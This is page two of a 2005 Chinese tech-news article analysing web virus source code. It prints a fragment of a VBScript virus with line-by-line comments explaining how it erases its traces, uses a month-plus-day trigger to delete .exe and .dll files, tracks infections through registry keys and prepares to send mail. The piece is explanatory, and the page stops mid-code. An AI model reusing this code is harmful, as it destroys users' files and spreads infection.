揭密:各种各样网页病毒源码解析(2)
中华网科技 http://tech.china.com
2005-07-27 13:46:04
|
|
|
Ds = Grf() Cs = Gsf() If IsVbs Then ’如果是VBS
If Of.FileExists("C:help.htm") Then Of.DeleteFile ("C:help.htm") ’如果c:help.htm存在,就删掉,消灭遗留的痕迹
End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then ’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" ’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If Cn = Rg(Ks & "HelpCount") ’读注册表中的HKEY_CURRENT_USERSoftwareHelpCount键值
If Cn = "" Then Cn = 1 ’如果Count为0,就设为1
End If Rw Ks & "HelpCount", Cn + 1 ’添加HKEY_CURRENT_USERSoftwareHelpCount键值,值为2
f1 = Rg(Ks & "HelpFileName") ’再读HKEY_CURRENT_USERSoftwareHelpFileName键值
f2 = FNext(Of, Od, f1) ’得到该文件的文件名
fext = GetExt(Of, Od, f2) ’得到该文件扩展名的代号
Rw Ks & "HelpFileName", f2 ’添加键值
If IsDel(fext) Then ’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2 ’储存文件名
f2 = FNext(Of, Od, f2) ’得到文件的文件名?
Rw Ks & "HelpFileName", f2 ’写注册表
Of.DeleteFile f3 ’删除文件
Else If LCase(WScript.ScriptFullname) <> LCase(f2) Then ’如果不是集合中的文件
Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then ’使用 Cint函数强制执行转换,并发邮件
首页 上页 | 1 | 2 | 3 | 4 | 5... 下页 尾页 共 5 页
|